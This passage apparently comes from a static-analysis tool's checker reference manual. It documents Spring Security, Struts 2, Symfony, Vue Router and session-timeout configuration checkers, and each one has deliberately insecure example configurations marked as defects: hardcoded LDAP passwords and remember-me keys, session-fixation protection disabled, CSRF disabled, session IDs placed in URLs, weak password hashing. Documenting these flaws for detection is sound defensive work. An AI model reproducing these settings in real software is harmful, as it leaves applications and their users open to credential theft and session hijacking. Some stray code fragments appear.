Spring Security framework allows using session ids in the URLs for session tracking, which exposes the session id to attackers, as it might be leaked through proxy logs, web server logs, `Referer` header, and other ways. The `CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID` checker finds cases where the session ids are configured to be added to the URLs in a Spring Security application.

The `CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID` checker is disabled by default. You can enable it with the `--webapp-security` option to the `cov-analyze` command.

4.87.2. Examples

This section provides one or more `CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID` examples.

In the following example, a `CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID` defect is displayed for the `setSessionTrackingModes()` function call with the `URL` parameter on an instance of the `ServletContext` class.

```
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
import javax.servlet.SessionTrackingMode;
import javax.servlet.annotation.WebListener;
import java.util.EnumSet;

@WebListener
public class SessionTrackingModeSetter implements ServletContextListener {

    @Override
    public void contextInitialized (ServletContextEvent event) {
        event.getServletContext()
            .setSessionTrackingModes(EnumSet.of(SessionTrackingMode.URL)); //defect
    }
}
```

```

    }

    @Override
    public void contextDestroyed (ServletContextEvent sce) {
    }
}

```

In the following example, a `CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID` defect is displayed for the `disable-url-rewriting` attribute for the `security:http` XML node in an XML deployment descriptor setting to `false`.

```

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:util="http://www.springframework.org/schema/util"
  xmlns:security="http://www.springframework.org/schema/security"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-
beans-4.3.xsd
    http://www.springframework.org/schema/util
    http://www.springframework.org/schema/util/spring-
util-2.5.xsd
    http://www.springframework.org/schema/security
    http://www.springframework.org/schema/security/spring-
security-4.2.xsd">
  <security:http pattern="/service/import/**" entry-point-
ref="servicesAuthenticationEntryPoint"
    auto-config="false" create-session="stateless" authentication-manager-
ref="servicesAuthenticationManager"
    use-expressions="false" disable-url-rewriting="false"><!-- defect here
-->
    <security:csrf disabled="true"/>
    <security:custom-filter position="FORM_LOGIN_FILTER"
ref="servicesAuthenticationProcessingFilter"/>
    <security:intercept-url pattern="/service/import/**"
    access="ROLE_CUSTOMER,ROLE_ADMIN" />
    <security:logout logout-url="/logout"/>

  </security:http>
</beans>

```

4.88. CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS

Security Checker

4.88.1. Overview

Supported Languages: Java

`CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS` finds cases where credentials are hardcoded in the Spring Security configuration. The checker currently inspects the authentication-

manager and the different LDAP configurations available by Spring Security to find the cases of hardcoded credentials. Hardcoded credentials are easy to forget about, and can leave backdoors to the application. Even if, in these cases, the credentials are not hardcoded in source code, it is a best practice to externalize them into, for example, a properties file.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking **cov-emit-java --war** (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: `CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS` along with other Web application checkers, use the `--webapp-security` option.

4.88.2. Examples

This section provides one or more `CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS` examples.

The following example shows a LDAP server configuration using a hardcoded credential.

```
<beans
  xmlns="http://www.springframework.org/schema/beans"
  xmlns:s="http://www.springframework.org/schema/security"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
    http://www.springframework.org/schema/security
    http://www.springframework.org/schema/security/spring-security.xsd" >
  ...
  <bean xml:id="contextSource"
    class="org.springframework.security.ldap.DefaultSpringSecurityContextSource" >
    <constructor-arg value="ldap://example.com:389/
      ou=mydepartment,o=mycompany,dc=com" />
    <property name="userDn"
      value="uid=myUser,ou=Users,ou=mydepartment,o=mycompany,dc=ca" />
    <property name="password" value="myPassword" /> <!-- Defect here. -->
  </bean>
  ...
</beans>
```

4.88.3. Events

This section describes one or more events produced by the `CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS` checker.

- `event` - (main event) The location of the issue.

- `remediation` - Advice on fixing the issue.

4.89. CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP

Security Checker

4.89.1. Overview

Supported Languages: Java

The `CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP` checker finds cases where the login form of the `org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint` class isn't forced to be accessed over HTTPS.

The `CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP` checker is disabled by default; you can enable it in Audit Mode.

4.89.2. Examples

This section provides one or more `CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP` examples.

In the following example, a `CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP` defect is displayed for instantiating a `LoginUrlAuthenticationEntryPoint`, because a relative URL is used for the login URL (`URL_LOGIN_FORM`) and the function `setForceHttps(true)` is not called to force the access over HTTPS.

```
package HttpAccessLoginForm.Test;

import
    org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;

public class HttpAccessLoginForm {
    public void initializeFromConfig() {

        String URL_LOGIN_FORM =
            "/web/wicket/bookmarkable/org.geoserver.web.GeoServerLoginPage?
error=false";

        LoginUrlAuthenticationEntryPoint aep = new
LoginUrlAuthenticationEntryPoint(URL_LOGIN_FORM); //defect here
        aep.afterPropertiesSet();
        return;
    }
}
```

4.90. CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY

Security Checker

4.90.1. Overview

Supported Languages: Java

CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY finds cases where the Spring Security `TokenBasedRememberMeServices` property is configured to use a hardcoded key. The severity of having such a hardcoded `remember-me` key mostly depends on the deployment model of the application. If the application is meant to have multiple instances for different purposes, these instances should use a different `remember-me` keys.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking `cov-emit-java --war` (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY along with other Web application checkers, use the `--webapp-security` option.

4.90.2. Examples

This section provides one or more CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY examples.

The following Spring Security configuration shows the use of hardcoded `remember-me` key.

```
<beans:beans
  xmlns="http://www.springframework.org/schema/security"
  xmlns:beans="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
    http://www.springframework.org/schema/security
    http://www.springframework.org/schema/security/spring-security.xsd">

  <beans:bean xml:id="rememberMeServices"
    class="org.springframework.security.web.authentication.
      rememberme.TokenBasedRememberMeServices">
    <beans:property name="someUserService" ref="SomeUserService"/>
    <beans:property name="key" value="hardcoded_key"/> <!-- Defect here. -->
  </beans:bean>
</beans:beans>
```

4.90.3. Events

This section describes one or more events produced by the CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.91. CONFIG.SPRING_SECURITY_SESSION_FIXATION

Security Checker

4.91.1. Overview

Supported Languages: Java

CONFIG.SPRING_SECURITY_SESSION_FIXATION finds cases where Spring Security session fixation mitigation is explicitly disabled. Spring Security comes with default protection against session fixation attacks. Disabling the features will leave the application vulnerable to session fixations.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking **cov-emit-java --war** (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: CONFIG.SPRING_SECURITY_SESSION_FIXATION is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable CONFIG.SPRING_SECURITY_SESSION_FIXATION along with other Web application checkers, use the `--webapp-security` option.

4.91.2. Examples

This section provides one or more CONFIG.SPRING_SECURITY_SESSION_FIXATION examples.

The following Spring Security configuration shows that `session-fixation-protection` is disabled.

```
<beans:beans xmlns="http://www.springframework.org/schema/security"
  xmlns:beans="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
    http://www.springframework.org/schema/security
    http://www.springframework.org/schema/security/spring-security.xsd">

  <http use-expressions="true">
    <logout logout-success-url="/signout.jsp" delete-cookies="JSESSIONID"/>

    <session-management invalid-session-url="/timeout.jsp"
      session-fixation-protection="none">
      <concurrency-control max-sessions="1" error-if-maximum-exceeded="true" />
    </session-management>
  </http>
</beans:beans>
```

```
</http>
...
</beans:beans>
```

In the following example, a `CONFIG.SPRING_SECURITY_SESSION_FIXATION` defect is displayed for disabling the Spring Security session fixation protection by calling the `sessionFixation().none()` function.

```
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import
    org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import
    org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.http.SessionCreationPolicy;

public class SessionFixationProtectionConfigPositive extends
    WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .sessionManagement()
            .sessionFixation().none() //defect here
            .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED)
            .invalidSessionUrl("/invalidSession.html")
            .maximumSessions(2)
            .expiredUrl("/sessionExpired.html");
    }
}
```

4.91.3. Events

This section describes one or more events produced by the `CONFIG.SPRING_SECURITY_SESSION_FIXATION` checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.92. CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER

Security Checker

4.92.1. Overview

Supported Languages: Java

The `CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER` checker flags situations where the `postOnly` parameter in the `setPostOnly()` method is set to `false` explicitly to allow credentials to be accepted in a `GET` request. It might leak username or password credentials to an attacker.

The `CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER` checker is disabled by default. You can enable it with the `--webapp-security` option

4.92.2. Examples

This section provides one or more `CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER` examples.

In the following example, a `CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER` defect is displayed for explicitly setting the `postOnly` parameter in the `setPostOnly()` method to `false`.

```
package org.springframework.security.web.authentication;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.AuthenticationException;
import
    org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;

public class UnsafeAuthenticationFilter extends UsernamePasswordAuthenticationFilter
{
    public UnsafeAuthenticationFilter()
    {
        super();
    }

    public Authentication attemptAuthentication(HttpServletRequest request,
        HttpServletResponse response) throws AuthenticationException {
        setPostOnly(false); //defect here
        return super.attemptAuthentication(request, response);
    }
}
```

4.93. CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH

Security Checker

4.93.1. Overview

Supported Languages: Java

The `CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH` finds cases that create an instance of a class implementing the `PasswordEncoder` interface using weak hashing algorithms or no hashing algorithm at all.

The `CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH` is disabled by default. It is only enabled in Audit Mode.

4.93.2. Examples

This section provides one or more `CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH` examples.

In the following example, a `CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH` defect is displayed for the initialization of the `LdapShaPasswordEncoder` class.

```
import org.springframework.security.config.annotation.authentication.builders.
AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.configuration.
WebSecurityConfigurerAdapter;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.password.LdapShaPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.web.filter.CorsFilter;

public class Test extends WebSecurityConfigurerAdapter {

    private final AuthenticationManagerBuilder authenticationManagerBuilder;

    private final UserDetailsService userDetailsService;

    private final CorsFilter corsFilter;

    public Test(AuthenticationManagerBuilder authenticationManagerBuilder,
UserDetailsService userDetailsService,
                CorsFilter corsFilter) {

        this.authenticationManagerBuilder = authenticationManagerBuilder;
        this.userDetailsService = userDetailsService;
        this.corsFilter = corsFilter;
    }

    public void init() {
        try {
            authenticationManagerBuilder
                .userDetailsService(userDetailsService)
                .passwordEncoder(passwordEncoderBAD());
        } catch (Exception e) {
            //throw new BeanInitializationException("Security configuration failed",
e);
        }
    }

    public PasswordEncoder passwordEncoderBAD() {
        return new LdapShaPasswordEncoder(); //defect here
    }
}
```

4.94. CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN

Security Checker

4.94.1. Overview

Supported Languages: Java

CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN finds cases where the Struts 2 `config-browser` plugin is used by the application. The `config-browser` plugin can disclose Action mappings and configuration information to any user.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking **cov-emit-java --war** (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN along with other Web application checkers, use the `--webapp-security` option.

4.94.2. Examples

This section provides one or more CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN examples.

The following example shows the inclusion of `struts2-config-browser-plugin` in the Maven configuration.

```
<dependency>
  <groupId>org.apache.struts</groupId>
  <artifactId>struts2-config-browser-plugin</artifactId>
  <version>${struts2.version}</version>
  <scope>provided</scope>
</dependency>
```

4.94.3. Events

This section describes one or more events produced by the CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.95. CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION

Security Checker

4.95.1. Overview

Supported Languages: Java

`CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION` finds cases where the Struts 2 `DynamicMethodInvocation` property is enabled. Enabling `DynamicMethodInvocation` makes all public, zero-parameter methods callable by a user, which can lead to unexpected behavior.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking `cov-emit-java --war` (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: `CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION` along with other Web application checkers, use the `--webapp-security` option.

4.95.2. Examples

This section provides one or more `CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION` examples.

The following example shows a Struts 2 XML configuration that enables `DynamicMethodInvocation`.

```
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.1.7//EN"
    "http://struts.apache.org/dtds/struts-2.1.7.dtd">
<struts>
  <constant name="struts.custom.i18n.resources" value="global" />
  <constant name="struts.enable.DynamicMethodInvocation" value="true" />
  ...
</struts>
```

4.95.3. Events

This section describes one or more events produced by the `CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION` checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.96. CONFIG.STRUTS2_ENABLED_DEV_MODE

Security Checker

4.96.1. Overview

Supported Languages: Java

`CONFIG.STRUTS2_ENABLED_DEV_MODE` finds cases where the Struts 2 `devMode` property is enabled. The checker inspects Struts properties or XML configuration files to find this case. With

`devMode` enabled, the application can disclose sensitive debugging and logging information to unauthorized users.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking **cov-emit-java --war** (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: `CONFIG.STRUTS2_ENABLED_DEV_MODE` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `CONFIG.STRUTS2_ENABLED_DEV_MODE` along with other Web application checkers, use the `--webapp-security` option.

4.96.2. Examples

This section provides one or more `CONFIG.STRUTS2_ENABLED_DEV_MODE` examples.

Because the following Struts 2 configuration properties file enables `devMode`, the checker will report a defect.

```
### when set to true, Struts will act
### much more friendly for developers. This includes:
### - struts.i18n.reload = true
### - struts.configuration.xml.reload = true
### - raising various debug or ignorable problems to errors
###   For example: normally a request to foo.action?someUnknownField=true should
###                 be ignored (given that any value can come from the web and it
###                 should not be trusted). However, during development, it may be
###                 useful to know when these errors are happening and be told of
###                 them right away.
struts.devMode = true
```

4.96.3. Events

This section describes one or more events produced by the `CONFIG.STRUTS2_ENABLED_DEV_MODE` checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.97. CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED

Security Checker

4.97.1. Overview

Supported Languages: PHP

The `CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED` checker identifies Symfony applications with cross-site-request forgery (CSRF) protection disabled. Enabling CSRF protection is recommended for all applications that are not strictly read-only.

CSRF is an attack that exploits a web client's authenticated session to perform unwanted actions on a remote server. Typically, a user will unknowingly load a malicious web page that initiates requests with side effects. Because user cookies accompany requests to the site, active session identifiers also accompany the malicious request. This is the case even if the request originates from content in another site.

On the server, a successful CSRF attack is very difficult to detect and to distinguish from a legitimate user action: Both transactions originate from the user's browser, and both transactions include proper session identifiers. Recovering from a CSRF attack is equally difficult.

Disabled by default: `CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED` along with other Web application checkers, use the `--webapp-security` option.

4.97.2. Defect Anatomy

`CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED` shows the line in the Symfony configuration that disables CSRF protection.

4.97.3. Examples

This section provides one or more `CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED` examples.

CSRF protection in Symfony is enabled by default. `CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED` reports a defect on any Symfony configuration, like the one in the following example, that explicitly disables CSRF protection.

```
# app/config/config.yml

# [ ... ]

framework:
    # [ ... ]
    csrf_protection: false
    # [ ... ]

# [ ... ]
```

4.98. CONFIG.UNSAFE_SESSION_TIMEOUT

Security Checker

4.98.1. Overview

Supported Languages: Java, JavaScript, TypeScript

The `CONFIG.UNSAFE_SESSION_TIMEOUT` checker behaves differently, depending on the language analyzed.

Disabled by default: `CONFIG.UNSAFE_SESSION_TIMEOUT` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `CONFIG.UNSAFE_SESSION_TIMEOUT` along with other Web application checkers, use the `--webapp-security` option.

4.98.1.1. Java

The `CONFIG.UNSAFE_SESSION_TIMEOUT` checker finds cases where `web.xml` files set the `<session-timeout>` element to `-1`, which means that a session will never expire. It is a best practice to set session timeout to the lowest possible value depending on the context of the application. Most Web administrators set this value to 8 minutes.

4.98.1.2. JavaScript and TypeScript

The `CONFIG.UNSAFE_SESSION_TIMEOUT` checker finds cases where a session of `client-sessions` instances, `connect-mongo` instances, and `connect-redis` instances exceeds 30 minutes or is omitted in configuration.

4.98.2. Examples

This section provides one or more `CONFIG.UNSAFE_SESSION_TIMEOUT` examples.

4.98.2.1. Java

In the following example, a defect is shown for the statement with comment 1; but no defect is shown for code with comment 2.

```
<web-app>
  <session-config>
    <session-timeout>-1</session-timeout> // 1
  </session-config>
</web-app>

<web-app>
  <session-config>
    <session-timeout>8</session-timeout> // 2
  </session-config>
</web-app>
```

4.98.2.2. JavaScript and TypeScript

In the following example, a `CONFIG.UNSAFE_SESSION_TIMEOUT` defect is displayed in the `client-sessions` configuration, as the `duration` property is omitted (defaults to 24 hours), which is an insecure setting:

```
var express = require('express');
var app = express();
var sessions = require('client-sessions');
var config = require('config.json');

app.use(sessions({          // Defect here

    cookieName: 'demoSession',
    secret: config.secret,
}));
```

In the following example, a `CONFIG.UNSAFE_SESSION_TIMEOUT` defect is displayed for the new `mongoStore` instance assigned to the `store` property in the session configuration, as the `ttl` property is omitted in the `MongoStore` (defaults to 14 days), which is an insecure setting:

```
var express = require('express');
var session = require('express-session');
var mongoStore = require('connect-mongo')(session);
var mongoose = require('mongoose');
var config = require('config.json');

var mongourl = "mongodb://localhost:27017/testConnectMongo";
mongoose.connect(mongourl);
var db = mongoose.connection;
var app = express();

app.use(session({
  saveUninitialized: true,
  resave: true,
  secret: config.secret,
  store: new mongoStore({
    mongooseConnection: db,
    collection: 'expSessions',
    autoremove: 'native'
  }),
  cookie: {
    httpOnly: true,
    secure: true
  }
}));
```

In the following example, a `CONFIG.UNSAFE_SESSION_TIMEOUT` defect is displayed for the new `redisStore` instance assigned to the `store` property in the `express-session` configuration, because the `ttl` property is omitted in the `redisStore` (defaults to 24 hours), which is an insecure setting.

```
var app = require('express')();
var session = require('express-session');
//import connect-redis to save each cookie locally in a Redis NoSQL database
var redisStore = require('connect-redis')(session);
var config = require('config.json');
var secret = config.secret;

app.use(session({
  saveUninitialized: true,
  resave: true,
  secret: secret,
  cookie: {
    httpOnly: true,
    secure: true
  },
  store: new redisStore({ //CONFIG.UNSAFE_SESSION_TIMEOUT defect
    host: 'localhost',
    port: 6379
  })
}));
```

In the following example, a `CONFIG.UNSAFE_SESSION_TIMEOUT` defect is displayed for the new `DatastoreStore` instance assigned to the `store` property in the `express-session` configuration because the `expirationMs` property is omitted in the `DatastoreStore` (defaults to 0), which is an insecure setting:

```
var {Datastore} = require('@google-cloud/datastore');
var express = require('express');
var session = require('express-session');
var app = express();
var config = require('config.json');
var secret = config.secret;

const DatastoreStore = require('@google-cloud/connect-datastore')(session);

app.use(session({
  saveUninitialized: true,
  resave: true,
  secret: secret,
  cookie: {
    httpOnly: true,
    secure: true
  },
  store: new DatastoreStore({ //defect#CONFIG.UNSAFE_SESSION_TIMEOUT
    kind: 'express-sessions',
    //expirationMs property is omitted - defaults to 0
    dataset: new Datastore({
      projectId: 'YOUR_PROJECT_ID' || process.env.GCLOUD_PROJECT,
      keyFilename: '/path/to/keyfile.json' ||
process.env.GOOGLE_APPLICATION_CREDENTIALS
    })
  })
}));
```

```
}});
```

4.99. CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS

Quality Checker, Security Checker

4.99.1. Overview

Supported Languages: JavaScript, TypeScript

`CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS` finds cases where Vue Router is configured to use `props` in Boolean mode on a route. In this case, the router passes all router parameters to a component as the component `props`. This is accomplished by setting the `props` attribute to `true` on a specific route. Such configuration is a bad practice that exposes all parameters to a component or a subcomponent and breaks the “need to know” principle.

4.99.2. Enablement

Disabled by default. Only enabled in Audit Mode.

4.99.3. Examples

This section provides one or more `CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS` examples.

In the following example, a `CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS` defect is displayed for the `props` attribute set on the `/user/:id` route:

```
const User = {
  props: ['id'],
  template: `
    <div class="user">
      <h2>User {{ id }}</h2>
    </div>
  `
}

const router = new VueRouter({
  routes:
  [
    {
      path: '/user/:id',
      component: User,
      props: true // CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS defect
    }
  ]
})
```

4.99.4. Events

This section describes one or more events produced by the `CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS` checker.

- `MainEvent` - The configuration `props` on the route set to `true`.
- `Event` - The setting of the routes on the Vue Router instance.
- `Remediation` - Presents advice on how to address the defect by properly configuring the `props` on the routes.

4.99.5. Relationships with Taxonomies

OWASP Top 10 2017

A6:2017-Security Misconfiguration

Common Weakness Enumeration (CWE)

CWE-200: Information Exposure

4.99.6. Defect Anatomy

Impact: Low

The Vue Router passes all route parameters into the `props` of a component or subcomponent on a route, without checking whether the component actually needs every parameter. Thus, the component can access parameters that were not intended for the component's use.

This issue does not necessarily manifest a security vulnerability, but it identifies a bad practice that can lead to information exposure.

Remediation: To follow the “need to know” principle and protect the application from information exposure, set `props` to `true` only for a function that returns no route parameters other than those that the component needs.

4.100. CONFIG.WEAK_SECURITY_CONSTRAINT

Security Checker

4.100.1. Overview

Supported Languages: Java

The `CONFIG.WEAK_SECURITY_CONSTRAINT` checker flags `<security-constraint>` instances that do not have proper authorization for Java servlets in an XML configuration file.

The `CONFIG.WEAK_SECURITY_CONSTRAINT` checker is disabled by default. It is enabled with `--webapp-security`.

4.100.2. Examples

This section provides one or more `CONFIG.WEAK_SECURITY_CONSTRAINT` examples.

In the following example, a `CONFIG.WEAK_SECURITY_CONSTRAINT` defect is displayed for the `<security-constraint>` element with an `<auth-constraint>` element that includes a `<role-name>` set to a wildcard `*`.

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<web-app>
  <security-constraint>          <!-- defect here -->
    <auth-constraint>
      <role-name>*/</role-name>
    </auth-constraint>
  </security-constraint>
</web-app>
```

4.101. CONSTANT_EXPRESSION_RESULT

Quality Checker

4.101.1. Overview

Supported Languages: C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, Scala, and TypeScript

`CONSTANT_EXPRESSION_RESULT` finds many cases where an expression always evaluates to one particular value, but it looks like it is intended to evaluate to different values because it involves at least one variable. For example, the fragment `if (x|1)` appears to be trying to test the least significant bit of `x`, but the code uses bitwise OR rather than AND, so the condition always evaluates to true. The checker is tuned to avoid reporting false positives in code that uses conditional compilation, but the associated heuristics can be controlled through checker options.

Enabled by default: `CONSTANT_EXPRESSION_RESULT` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

`CONSTANT_EXPRESSION_RESULT` finds expressions in which:

- An operator is applied to one or more sub-expressions.
- At least one of the operands is not a constant.
- The result of the operation is constant at runtime, or the operation is unnecessary because its operands are the same.

Such cases are very likely to be bugs. They often result from one of the following errors:

- Operator Confusion: `&&` or `||` was written where `&` or `|` was intended, or vice versa.
- Precedence Confusion: Operator precedence rules cause the result to differ from what was intended.
- Type Size or Coercion Confusion: The value of a variable is effectively constant due to a loss of precision.

- Truth Value Confusion: The language does not support the common equivalence between `0` and `false`.
- Copy/Paste Errors: Both operands are the same but were intended to be different.
- Unnecessary Complexity: A simpler expression can achieve the same result.

4.101.2. Defect Anatomy

A `CONSTANT_EXPRESSION_RESULT` defect shows an expression that contains runtime variables but whose result value does not vary at runtime. Alternatively, it shows an expression whose two operands will have the same value at runtime, and whose result value is therefore predictable.

4.101.3. Examples

This section provides one or more `CONSTANT_EXPRESSION_RESULT` examples.

4.101.3.1. C/C++

In the following example, regardless of the actual value of `flags`, `!flags` can only yield 0 or 1, and 0 or 1 bitwise AND with 2 always yields 0:

```
#define FLAG 2
extern int flags;

if (!flags & FLAG) // Defect: always yields 0
```

The correct expression in this example was likely:

```
!(flags & 2)
```

The following example is always true, because it is interpreted as `(a == b) ? 1 : 2`, such that both possible results are non-zero:

```
if (a == b ? 1 : 2)
```

4.101.3.2. C#

In the following example, regardless of the actual value of `flags`, once the additional 1 bit from `FLAG` is ORed (with the `|` operator) into it, the result can never be zero.

Example:

```
public const int FLAG = 1;
public void Example1(int flags)
{
```

```
if ((flags | FLAG) != 0) {
    // ...
}
```

The correct expression in this example was likely:

```
if ((flags & FLAG) != 0)
```

In the following example, the bit, `0x10`, that is being tested in `someBits` is different than the only bit, `1`, in the value that the `|` expression is being compared with, so the two can never be equal.

```
public void Example2(int someBits)
{
    if ((someBits | 0x10) == 1) {
        // ...
    }
}
```

4.101.3.3. Go

In the following example, the `if` statement results in a `CONSTANT_EXPRESSION_RESULT` defect.

```
func cst(a, b, someBits int) int {
    if (someBits & 0x10) == 1 { // CONSTANT_EXPRESSION_RESULT defect
        return a
    }
    return b
}
```

4.101.3.4. Java

In the following example, regardless of the actual value of `flags`, once the additional 1 bit from `FLAG` is `or`-ed into it, the result can never be zero:

```
int flags;
static final int FLAG = 1;
...
if ((flags | FLAG) != 0) // Defect: always true
```

The correct expression in this example was likely:

```
if ((flags & FLAG) != 0)
```

In the following example, the bit, `0x10`, that is being tested in `someBits` is different than the only bit, `1`, in the value the `&` expression is being compared with, so the two can never be equal.

```
int someBits;
...
```

```
if ((someBits & 0x10) == 1) // Defect: always false
```

The following example pointlessly tests `o1` twice and fails to test `o2`, as was probably intended:

```
void myMethod(Object o1, Object o2) {  
    if ((o1 != null) && (o1 != null)) // Defect: pointless expression"
```

4.101.3.5. Scala

```
var someBits : Int = 1  
...  
